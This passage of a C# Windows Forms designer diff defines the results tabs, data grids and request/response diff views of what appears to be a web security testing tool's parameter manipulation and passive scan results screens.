this.ResultsBaseTabs.Controls.Add(this.PassiveChecksResultsTab); + this.ResultsBaseTabs.Location = new System.Drawing.Point(5, 58); + this.ResultsBaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.ResultsBaseTabs.Multiline = true; + this.ResultsBaseTabs.Name = "ResultsBaseTabs"; + this.ResultsBaseTabs.Padding = new System.Drawing.Point(0, 0); + this.ResultsBaseTabs.SelectedIndex = 0; + this.ResultsBaseTabs.Size = new System.Drawing.Size(866, 470); + this.ResultsBaseTabs.TabIndex = 21; + this.ResultsBaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.ResultsBaseTabs_Selecting); + // + // ParameterManipulationResultsTab + // + this.ParameterManipulationResultsTab.BackColor = System.Drawing.Color.White; + this.ParameterManipulationResultsTab.Controls.Add(this.ParameterManipulationResultsSplit); + this.ParameterManipulationResultsTab.Location = new System.Drawing.Point(4, 22); + this.ParameterManipulationResultsTab.Margin = new System.Windows.Forms.Padding(0); + this.ParameterManipulationResultsTab.Name = "ParameterManipulationResultsTab"; + this.ParameterManipulationResultsTab.Size = new System.Drawing.Size(858, 444); + this.ParameterManipulationResultsTab.TabIndex = 0; + this.ParameterManipulationResultsTab.Text = " Parameter Manipulation Results "; + // + // ParameterManipulationResultsSplit + // + this.ParameterManipulationResultsSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ParameterManipulationResultsSplit.Location = new System.Drawing.Point(0, 0); + this.ParameterManipulationResultsSplit.Margin = new System.Windows.Forms.Padding(0); + this.ParameterManipulationResultsSplit.Name = "ParameterManipulationResultsSplit"; + this.ParameterManipulationResultsSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ParameterManipulationResultsSplit.Panel1 + // + this.ParameterManipulationResultsSplit.Panel1.Controls.Add(this.ParameterManipulationResultsLogGrid); + // + // ParameterManipulationResultsSplit.Panel2 + // + this.ParameterManipulationResultsSplit.Panel2.Controls.Add(this.ParameterManipulationLoadProgressBar); + this.ParameterManipulationResultsSplit.Panel2.Controls.Add(this.ParameterManipulationResultsBottomTabs); + this.ParameterManipulationResultsSplit.Size = new System.Drawing.Size(858, 444); + this.ParameterManipulationResultsSplit.SplitterDistance = 195; + this.ParameterManipulationResultsSplit.SplitterWidth = 2; + this.ParameterManipulationResultsSplit.TabIndex = 0; + // + // ParameterManipulationResultsLogGrid + // + this.ParameterManipulationResultsLogGrid.AllowUserToAddRows = false; + this.ParameterManipulationResultsLogGrid.AllowUserToDeleteRows = false; + this.ParameterManipulationResultsLogGrid.AllowUserToOrderColumns = true; + this.ParameterManipulationResultsLogGrid.AllowUserToResizeRows = false; + this.ParameterManipulationResultsLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.ParameterManipulationResultsLogGrid.BackgroundColor = System.Drawing.Color.White; + this.ParameterManipulationResultsLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ParameterManipulationResultsLogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; + this.ParameterManipulationResultsLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.ParameterManipulationResultsLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.IDClmn, + this.OriginalCode, + this.OriginalLengthClmn, + this.ResentIdClmn, + this.ResentCodeClmn, + this.ResentLengthClmn, + this.TestIdClmn, + this.TestCodeClmn, + this.TestLengthClmn, + this.OriginalVsResentClmn, + this.ResentVsTestClmn, + this.OriginalVsTestClmn}); + this.ParameterManipulationResultsLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ParameterManipulationResultsLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ParameterManipulationResultsLogGrid.GridColor = System.Drawing.Color.White; + this.ParameterManipulationResultsLogGrid.Location = new System.Drawing.Point(0, 0); + this.ParameterManipulationResultsLogGrid.Margin = new System.Windows.Forms.Padding(0); + this.ParameterManipulationResultsLogGrid.MultiSelect = false; + this.ParameterManipulationResultsLogGrid.Name = "ParameterManipulationResultsLogGrid"; + this.ParameterManipulationResultsLogGrid.ReadOnly = true; + this.ParameterManipulationResultsLogGrid.RowHeadersVisible = false; + this.ParameterManipulationResultsLogGrid.RowHeadersWidth = 10; + this.ParameterManipulationResultsLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ParameterManipulationResultsLogGrid.Size = new System.Drawing.Size(858, 195); + this.ParameterManipulationResultsLogGrid.TabIndex = 4; + this.ParameterManipulationResultsLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ParameterManipulationResultsLogGrid_CellClick); + // + // IDClmn + // + this.IDClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.IDClmn.HeaderText = "ID"; + this.IDClmn.MinimumWidth = 50; + this.IDClmn.Name = "IDClmn"; + this.IDClmn.ReadOnly = true; + this.IDClmn.Width = 50; + // + // OriginalCode + // + this.OriginalCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.OriginalCode.FillWeight = 35.96939F; + this.OriginalCode.HeaderText = "Original Code"; + this.OriginalCode.Name = "OriginalCode"; + this.OriginalCode.ReadOnly = true; + // + // OriginalLengthClmn + // + this.OriginalLengthClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.OriginalLengthClmn.FillWeight = 35.96939F; + this.OriginalLengthClmn.HeaderText = "Original Length"; + this.OriginalLengthClmn.Name = "OriginalLengthClmn"; + this.OriginalLengthClmn.ReadOnly = true; + // + // ResentIdClmn + // + this.ResentIdClmn.HeaderText = "Resent ID"; + this.ResentIdClmn.Name = "ResentIdClmn"; + this.ResentIdClmn.ReadOnly = true; + this.ResentIdClmn.Visible = false; + // + // ResentCodeClmn + // + this.ResentCodeClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ResentCodeClmn.FillWeight = 35.96939F; + this.ResentCodeClmn.HeaderText = "Resent Code"; + this.ResentCodeClmn.Name = "ResentCodeClmn"; + this.ResentCodeClmn.ReadOnly = true; + // + // ResentLengthClmn + // + this.ResentLengthClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ResentLengthClmn.FillWeight = 35.96939F; + this.ResentLengthClmn.HeaderText = "Resent Length"; + this.ResentLengthClmn.Name = "ResentLengthClmn"; + this.ResentLengthClmn.ReadOnly = true; + // + // TestIdClmn + // + this.TestIdClmn.HeaderText = "Test ID"; + this.TestIdClmn.Name = "TestIdClmn"; + this.TestIdClmn.ReadOnly = true; + this.TestIdClmn.Visible = false; + // + // TestCodeClmn + // + this.TestCodeClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.TestCodeClmn.FillWeight = 35.96939F; + this.TestCodeClmn.HeaderText = "Test Code"; + this.TestCodeClmn.Name = "TestCodeClmn"; + this.TestCodeClmn.ReadOnly = true; + // + // TestLengthClmn + // + this.TestLengthClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.TestLengthClmn.FillWeight = 35.96939F; + this.TestLengthClmn.HeaderText = "Test Length"; + this.TestLengthClmn.Name = "TestLengthClmn"; + this.TestLengthClmn.ReadOnly = true; + // + // OriginalVsResentClmn + // + this.OriginalVsResentClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.OriginalVsResentClmn.FillWeight = 35.96939F; + this.OriginalVsResentClmn.HeaderText = "Original vs Resent"; + this.OriginalVsResentClmn.Name = "OriginalVsResentClmn"; + this.OriginalVsResentClmn.ReadOnly = true; + // + // ResentVsTestClmn + // + this.ResentVsTestClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ResentVsTestClmn.FillWeight = 35.96939F; + this.ResentVsTestClmn.HeaderText = "Resent vs Test"; + this.ResentVsTestClmn.Name = "ResentVsTestClmn"; + this.ResentVsTestClmn.ReadOnly = true; + // + // OriginalVsTestClmn + // + this.OriginalVsTestClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.OriginalVsTestClmn.FillWeight = 35.96939F; + this.OriginalVsTestClmn.HeaderText = "Original vs Test"; + this.OriginalVsTestClmn.Name = "OriginalVsTestClmn"; + this.OriginalVsTestClmn.ReadOnly = true; + // + // ParameterManipulationLoadProgressBar + // + this.ParameterManipulationLoadProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ParameterManipulationLoadProgressBar.Location = new System.Drawing.Point(298, 40); + this.ParameterManipulationLoadProgressBar.MarqueeAnimationSpeed = 10; + this.ParameterManipulationLoadProgressBar.Name = "ParameterManipulationLoadProgressBar"; + this.ParameterManipulationLoadProgressBar.Size = new System.Drawing.Size(236, 23); + this.ParameterManipulationLoadProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.ParameterManipulationLoadProgressBar.TabIndex = 32; + this.ParameterManipulationLoadProgressBar.Visible = false; + // + // ParameterManipulationResultsBottomTabs + // + this.ParameterManipulationResultsBottomTabs.Controls.Add(this.tabPage7); + this.ParameterManipulationResultsBottomTabs.Controls.Add(this.tabPage8); + this.ParameterManipulationResultsBottomTabs.Controls.Add(this.tabPage3); + this.ParameterManipulationResultsBottomTabs.Controls.Add(this.tabPage9); + this.ParameterManipulationResultsBottomTabs.Controls.Add(this.tabPage10); + this.ParameterManipulationResultsBottomTabs.Controls.Add(this.tabPage11); + this.ParameterManipulationResultsBottomTabs.Controls.Add(this.tabPage17); + this.ParameterManipulationResultsBottomTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ParameterManipulationResultsBottomTabs.Location = new System.Drawing.Point(0, 0); + this.ParameterManipulationResultsBottomTabs.Margin = new System.Windows.Forms.Padding(0); + this.ParameterManipulationResultsBottomTabs.Multiline = true; + this.ParameterManipulationResultsBottomTabs.Name = "ParameterManipulationResultsBottomTabs"; + this.ParameterManipulationResultsBottomTabs.Padding = new System.Drawing.Point(0, 0); + this.ParameterManipulationResultsBottomTabs.SelectedIndex = 0; + this.ParameterManipulationResultsBottomTabs.Size = new System.Drawing.Size(858, 247); + this.ParameterManipulationResultsBottomTabs.TabIndex = 2; + // + // tabPage7 + // + this.tabPage7.BackColor = System.Drawing.Color.White; + this.tabPage7.Controls.Add(this.LogDisplayTabs); + this.tabPage7.Location = new System.Drawing.Point(4, 22); + this.tabPage7.Margin = new System.Windows.Forms.Padding(0); + this.tabPage7.Name = "tabPage7"; + this.tabPage7.Size = new System.Drawing.Size(850, 221); + this.tabPage7.TabIndex = 0; + this.tabPage7.Text = " Original Session "; + // + // LogDisplayTabs + // + this.LogDisplayTabs.Controls.Add(this.tabPage12); + this.LogDisplayTabs.Controls.Add(this.tabPage29); + this.LogDisplayTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.LogDisplayTabs.Location = new System.Drawing.Point(0, 0); + this.LogDisplayTabs.Margin = new System.Windows.Forms.Padding(0); + this.LogDisplayTabs.Name = "LogDisplayTabs"; + this.LogDisplayTabs.Padding = new System.Drawing.Point(0, 0); + this.LogDisplayTabs.SelectedIndex = 0; + this.LogDisplayTabs.Size = new System.Drawing.Size(850, 221); + this.LogDisplayTabs.TabIndex = 3; + // + // tabPage12 + // + this.tabPage12.Controls.Add(this.OriginalRequestView); + this.tabPage12.Location = new System.Drawing.Point(4, 22); + this.tabPage12.Margin = new System.Windows.Forms.Padding(0); + this.tabPage12.Name = "tabPage12"; + this.tabPage12.Size = new System.Drawing.Size(842, 195); + this.tabPage12.TabIndex = 0; + this.tabPage12.Text = " Request "; + this.tabPage12.UseVisualStyleBackColor = true; + // + // tabPage29 + // + this.tabPage29.Controls.Add(this.OriginalResponseView); + this.tabPage29.Location = new System.Drawing.Point(4, 22); + this.tabPage29.Margin = new System.Windows.Forms.Padding(0); + this.tabPage29.Name = "tabPage29"; + this.tabPage29.Size = new System.Drawing.Size(842, 195); + this.tabPage29.TabIndex = 1; + this.tabPage29.Text = " Response "; + this.tabPage29.UseVisualStyleBackColor = true; + // + // tabPage8 + // + this.tabPage8.BackColor = System.Drawing.Color.White; + this.tabPage8.Controls.Add(this.tabControl2); + this.tabPage8.Location = new System.Drawing.Point(4, 22); + this.tabPage8.Margin = new System.Windows.Forms.Padding(0); + this.tabPage8.Name = "tabPage8"; + this.tabPage8.Size = new System.Drawing.Size(850, 221); + this.tabPage8.TabIndex = 1; + this.tabPage8.Text = " Resent Session "; + // + // tabControl2 + // + this.tabControl2.Controls.Add(this.tabPage13); + this.tabControl2.Controls.Add(this.tabPage14); + this.tabControl2.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl2.Location = new System.Drawing.Point(0, 0); + this.tabControl2.Margin = new System.Windows.Forms.Padding(0); + this.tabControl2.Name = "tabControl2"; + this.tabControl2.Padding = new System.Drawing.Point(0, 0); + this.tabControl2.SelectedIndex = 0; + this.tabControl2.Size = new System.Drawing.Size(850, 221); + this.tabControl2.TabIndex = 3; + // + // tabPage13 + // + this.tabPage13.Controls.Add(this.ResentRequestView); + this.tabPage13.Location = new System.Drawing.Point(4, 22); + this.tabPage13.Margin = new System.Windows.Forms.Padding(0); + this.tabPage13.Name = "tabPage13"; + this.tabPage13.Size = new System.Drawing.Size(842, 195); + this.tabPage13.TabIndex = 0; + this.tabPage13.Text = " Request "; + this.tabPage13.UseVisualStyleBackColor = true; + // + // tabPage14 + // + this.tabPage14.Controls.Add(this.ResentResponseView); + this.tabPage14.Location = new System.Drawing.Point(4, 22); + this.tabPage14.Margin = new System.Windows.Forms.Padding(0); + this.tabPage14.Name = "tabPage14"; + this.tabPage14.Size = new System.Drawing.Size(842, 195); + this.tabPage14.TabIndex = 1; + this.tabPage14.Text = " Response "; + this.tabPage14.UseVisualStyleBackColor = true; + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.tabControl3); + this.tabPage3.Location = new System.Drawing.Point(4, 22); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(850, 221); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = " Test Session "; + this.tabPage3.UseVisualStyleBackColor = true; + // + // tabControl3 + // + this.tabControl3.Controls.Add(this.tabPage15); + this.tabControl3.Controls.Add(this.tabPage16); + this.tabControl3.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl3.Location = new System.Drawing.Point(0, 0); + this.tabControl3.Margin = new System.Windows.Forms.Padding(0); + this.tabControl3.Name = "tabControl3"; + this.tabControl3.Padding = new System.Drawing.Point(0, 0); + this.tabControl3.SelectedIndex = 0; + this.tabControl3.Size = new System.Drawing.Size(850, 221); + this.tabControl3.TabIndex = 3; + // + // tabPage15 + // + this.tabPage15.Controls.Add(this.TestRequestView); + this.tabPage15.Location = new System.Drawing.Point(4, 22); + this.tabPage15.Margin = new System.Windows.Forms.Padding(0); + this.tabPage15.Name = "tabPage15"; + this.tabPage15.Size = new System.Drawing.Size(842, 195); + this.tabPage15.TabIndex = 0; + this.tabPage15.Text = " Request "; + this.tabPage15.UseVisualStyleBackColor = true; + // + // tabPage16 + // + this.tabPage16.Controls.Add(this.TestResponseView); + this.tabPage16.Location = new System.Drawing.Point(4, 22); + this.tabPage16.Margin = new System.Windows.Forms.Padding(0); + this.tabPage16.Name = "tabPage16"; + this.tabPage16.Size = new System.Drawing.Size(842, 195); + this.tabPage16.TabIndex = 1; + this.tabPage16.Text = " Response "; + this.tabPage16.UseVisualStyleBackColor = true; + // + // tabPage9 + // + this.tabPage9.Controls.Add(this.tabControl1); + this.tabPage9.Location = new System.Drawing.Point(4, 22); + this.tabPage9.Name = "tabPage9"; + this.tabPage9.Size = new System.Drawing.Size(850, 221); + this.tabPage9.TabIndex = 3; + this.tabPage9.Text = " Diff Original vs Resent "; + this.tabPage9.UseVisualStyleBackColor = true; + // + // tabControl1 + // + this.tabControl1.Controls.Add(this.tabPage1); + this.tabControl1.Controls.Add(this.tabPage2); + this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl1.Location = new System.Drawing.Point(0, 0); + this.tabControl1.Margin = new System.Windows.Forms.Padding(0); + this.tabControl1.Name = "tabControl1"; + this.tabControl1.Padding = new System.Drawing.Point(0, 0); + this.tabControl1.SelectedIndex = 0; + this.tabControl1.Size = new System.Drawing.Size(850, 221); + this.tabControl1.TabIndex = 4; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.OriginalVsResentRequestDRV); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Margin = new System.Windows.Forms.Padding(0); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Size = new System.Drawing.Size(842, 195); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = " Request Diff "; + this.tabPage1.UseVisualStyleBackColor = true; + // + // tabPage2 + // + this.tabPage2.Controls.Add(this.OriginalVsResentResponseDRV); + this.tabPage2.Location = new System.Drawing.Point(4, 22); + this.tabPage2.Margin = new System.Windows.Forms.Padding(0); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Size = new System.Drawing.Size(842, 195); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = " Response Diff "; + this.tabPage2.UseVisualStyleBackColor = true; + // + // tabPage10 + // + this.tabPage10.Controls.Add(this.tabControl4); + this.tabPage10.Location = new System.Drawing.Point(4, 22); + this.tabPage10.Name = "tabPage10"; + this.tabPage10.Size = new System.Drawing.Size(850, 221); + this.tabPage10.TabIndex = 4; + this.tabPage10.Text = " Diff Resent vs Test "; + this.tabPage10.UseVisualStyleBackColor = true; + // + // tabControl4 + // + this.tabControl4.Controls.Add(this.tabPage4); + this.tabControl4.Controls.Add(this.tabPage18); + this.tabControl4.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl4.Location = new System.Drawing.Point(0, 0); + this.tabControl4.Margin = new System.Windows.Forms.Padding(0); + this.tabControl4.Name = "tabControl4"; + this.tabControl4.Padding = new System.Drawing.Point(0, 0); + this.tabControl4.SelectedIndex = 0; + this.tabControl4.Size = new System.Drawing.Size(850, 221); + this.tabControl4.TabIndex = 5; + // + // tabPage4 + // + this.tabPage4.Controls.Add(this.ResentVsTestRequestDRV); + this.tabPage4.Location = new System.Drawing.Point(4, 22); + this.tabPage4.Margin = new System.Windows.Forms.Padding(0); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Size = new System.Drawing.Size(842, 195); + this.tabPage4.TabIndex = 0; + this.tabPage4.Text = " Request Diff "; + this.tabPage4.UseVisualStyleBackColor = true; + // + // tabPage18 + // + this.tabPage18.Controls.Add(this.ResentVsTestResponseDRV); + this.tabPage18.Location = new System.Drawing.Point(4, 22); + this.tabPage18.Margin = new System.Windows.Forms.Padding(0); + this.tabPage18.Name = "tabPage18"; + this.tabPage18.Size = new System.Drawing.Size(842, 195); + this.tabPage18.TabIndex = 1; + this.tabPage18.Text = " Response Diff "; + this.tabPage18.UseVisualStyleBackColor = true; + // + // tabPage11 + // + this.tabPage11.Controls.Add(this.tabControl5); + this.tabPage11.Location = new System.Drawing.Point(4, 22); + this.tabPage11.Name = "tabPage11"; + this.tabPage11.Size = new System.Drawing.Size(850, 221); + this.tabPage11.TabIndex = 5; + this.tabPage11.Text = " Diff Original vs Test "; + this.tabPage11.UseVisualStyleBackColor = true; + // + // tabControl5 + // + this.tabControl5.Controls.Add(this.tabPage19); + this.tabControl5.Controls.Add(this.tabPage22); + this.tabControl5.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl5.Location = new System.Drawing.Point(0, 0); + this.tabControl5.Margin = new System.Windows.Forms.Padding(0); + this.tabControl5.Name = "tabControl5"; + this.tabControl5.Padding = new System.Drawing.Point(0, 0); + this.tabControl5.SelectedIndex = 0; + this.tabControl5.Size = new System.Drawing.Size(850, 221); + this.tabControl5.TabIndex = 5; + // + // tabPage19 + // + this.tabPage19.Controls.Add(this.OriginalVsTestRequestDRV); + this.tabPage19.Location = new System.Drawing.Point(4, 22); + this.tabPage19.Margin = new System.Windows.Forms.Padding(0); + this.tabPage19.Name = "tabPage19"; + this.tabPage19.Size = new System.Drawing.Size(842, 195); + this.tabPage19.TabIndex = 0; + this.tabPage19.Text = " Request Diff "; + this.tabPage19.UseVisualStyleBackColor = true; + // + // tabPage22 + // + this.tabPage22.Controls.Add(this.OriginalVsTestResponseDRV); + this.tabPage22.Location = new System.Drawing.Point(4, 22); + this.tabPage22.Margin = new System.Windows.Forms.Padding(0); + this.tabPage22.Name = "tabPage22"; + this.tabPage22.Size = new System.Drawing.Size(842, 195); + this.tabPage22.TabIndex = 1; + this.tabPage22.Text = " Response Diff "; + this.tabPage22.UseVisualStyleBackColor = true; + // + // tabPage17 + // + this.tabPage17.Controls.Add(this.textBox8); + this.tabPage17.Location = new System.Drawing.Point(4, 22); + this.tabPage17.Name = "tabPage17"; + this.tabPage17.Size = new System.Drawing.Size(850, 221); + this.tabPage17.TabIndex = 6; + this.tabPage17.Text = " Help "; + this.tabPage17.UseVisualStyleBackColor = true; + // + // textBox8 + // + this.textBox8.BackColor = System.Drawing.Color.White; + this.textBox8.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox8.Dock = System.Windows.Forms.DockStyle.Fill; + this.textBox8.Location = new System.Drawing.Point(0, 0); + this.textBox8.Multiline = true; + this.textBox8.Name = "textBox8"; + this.textBox8.ReadOnly = true; + this.textBox8.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.textBox8.Size = new System.Drawing.Size(850, 221); + this.textBox8.TabIndex = 28; + this.textBox8.TabStop = false; + this.textBox8.Text = resources.GetString("textBox8.Text"); + // + // PassiveChecksResultsTab + // + this.PassiveChecksResultsTab.BackColor = System.Drawing.Color.White; + this.PassiveChecksResultsTab.Controls.Add(this.PassivePluginsTestResultsBaseSplit); + this.PassiveChecksResultsTab.Location = new System.Drawing.Point(4, 22); + this.PassiveChecksResultsTab.Margin = new System.Windows.Forms.Padding(0); + this.PassiveChecksResultsTab.Name = "PassiveChecksResultsTab"; + this.PassiveChecksResultsTab.Size = new System.Drawing.Size(858, 444); + this.PassiveChecksResultsTab.TabIndex = 1; + this.PassiveChecksResultsTab.Text = " Passive Plug-ins Scan Results "; + // + // PassivePluginsTestResultsBaseSplit + // + this.PassivePluginsTestResultsBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.PassivePluginsTestResultsBaseSplit.Location = new System.Drawing.Point(0, 0); + this.PassivePluginsTestResultsBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.PassivePluginsTestResultsBaseSplit.Name = "PassivePluginsTestResultsBaseSplit"; + this.PassivePluginsTestResultsBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // PassivePluginsTestResultsBaseSplit.Panel1 + // + this.PassivePluginsTestResultsBaseSplit.Panel1.Controls.Add(this.PassivePluginsScanResultsGrid); + // + // PassivePluginsTestResultsBaseSplit.Panel2 + // + this.PassivePluginsTestResultsBaseSplit.Panel2.Controls.Add(this.PassivePluginScanResultsBottomTabs); + this.PassivePluginsTestResultsBaseSplit.Size = new System.Drawing.Size(858, 444); + this.PassivePluginsTestResultsBaseSplit.SplitterDistance = 195; + this.PassivePluginsTestResultsBaseSplit.SplitterWidth = 2; + this.PassivePluginsTestResultsBaseSplit.TabIndex = 1; + // + // PassivePluginsScanResultsGrid + // + this.PassivePluginsScanResultsGrid.AllowUserToAddRows = false; + this.PassivePluginsScanResultsGrid.AllowUserToDeleteRows = false; + this.PassivePluginsScanResultsGrid.AllowUserToOrderColumns = true; + this.PassivePluginsScanResultsGrid.AllowUserToResizeRows = false; + this.PassivePluginsScanResultsGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.PassivePluginsScanResultsGrid.BackgroundColor = System.Drawing.Color.White; + this.PassivePluginsScanResultsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.PassivePluginsScanResultsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.PassivePluginsScanResultsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.PassivePluginsScanResultsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn1, + this.dataGridViewTextBoxColumn2, + this.dataGridViewTextBoxColumn5, + this.dataGridViewTextBoxColumn6, + this.dataGridViewTextBoxColumn7, + this.dataGridViewTextBoxColumn3, + this.dataGridViewTextBoxColumn4, + this.Column2}); + this.PassivePluginsScanResultsGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.PassivePluginsScanResultsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.PassivePluginsScanResultsGrid.GridColor = System.Drawing.Color.White; + this.PassivePluginsScanResultsGrid.Location = new System.Drawing.Point(0, 0); + this.PassivePluginsScanResultsGrid.Margin = new System.Windows.Forms.Padding(0); + this.PassivePluginsScanResultsGrid.MultiSelect = false; + this.PassivePluginsScanResultsGrid.Name = "PassivePluginsScanResultsGrid"; + this.PassivePluginsScanResultsGrid.ReadOnly = true; + this.PassivePluginsScanResultsGrid.RowHeadersVisible = false; + this.PassivePluginsScanResultsGrid.RowHeadersWidth = 10; + this.PassivePluginsScanResultsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.PassivePluginsScanResultsGrid.Size = new System.Drawing.Size(858, 195); + this.PassivePluginsScanResultsGrid.TabIndex = 4; + this.PassivePluginsScanResultsGrid.SelectionChanged += new System.EventHandler(this.PassivePluginsScanResultsGrid_SelectionChanged); + // + // dataGridViewTextBoxColumn1 + // + this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn1.HeaderText = "Log ID"; + this.dataGridViewTextBoxColumn1.MinimumWidth = 50; + this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; + this.dataGridViewTextBoxColumn1.ReadOnly = true; + this.dataGridViewTextBoxColumn1.Width = 50; + // + // dataGridViewTextBoxColumn2 + // + this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn2.FillWeight = 35.96939F; + this.dataGridViewTextBoxColumn2.HeaderText = "Vulnerabilities"; + this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; + this.dataGridViewTextBoxColumn2.ReadOnly = true; + this.dataGridViewTextBoxColumn2.Width = 80; + // + // dataGridViewTextBoxColumn5 + // + this.dataGridViewTextBoxColumn5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn5.FillWeight = 35.96939F; + this.dataGridViewTextBoxColumn5.HeaderText = "High"; + this.dataGridViewTextBoxColumn5.Name = "dataGridViewTextBoxColumn5"; + this.dataGridViewTextBoxColumn5.ReadOnly = true; + this.dataGridViewTextBoxColumn5.Width = 50; + // + // dataGridViewTextBoxColumn6 + // + this.dataGridViewTextBoxColumn6.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn6.FillWeight = 35.96939F; + this.dataGridViewTextBoxColumn6.HeaderText = "Medium"; + this.dataGridViewTextBoxColumn6.Name = "dataGridViewTextBoxColumn6"; + this.dataGridViewTextBoxColumn6.ReadOnly = true; + this.dataGridViewTextBoxColumn6.Width = 50; + // + // dataGridViewTextBoxColumn7 + // + this.dataGridViewTextBoxColumn7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn7.HeaderText = "Low"; + this.dataGridViewTextBoxColumn7.Name = "dataGridViewTextBoxColumn7"; + this.dataGridViewTextBoxColumn7.ReadOnly = true; + this.dataGridViewTextBoxColumn7.Width = 50; + // + // dataGridViewTextBoxColumn3 + // + this.dataGridViewTextBoxColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + 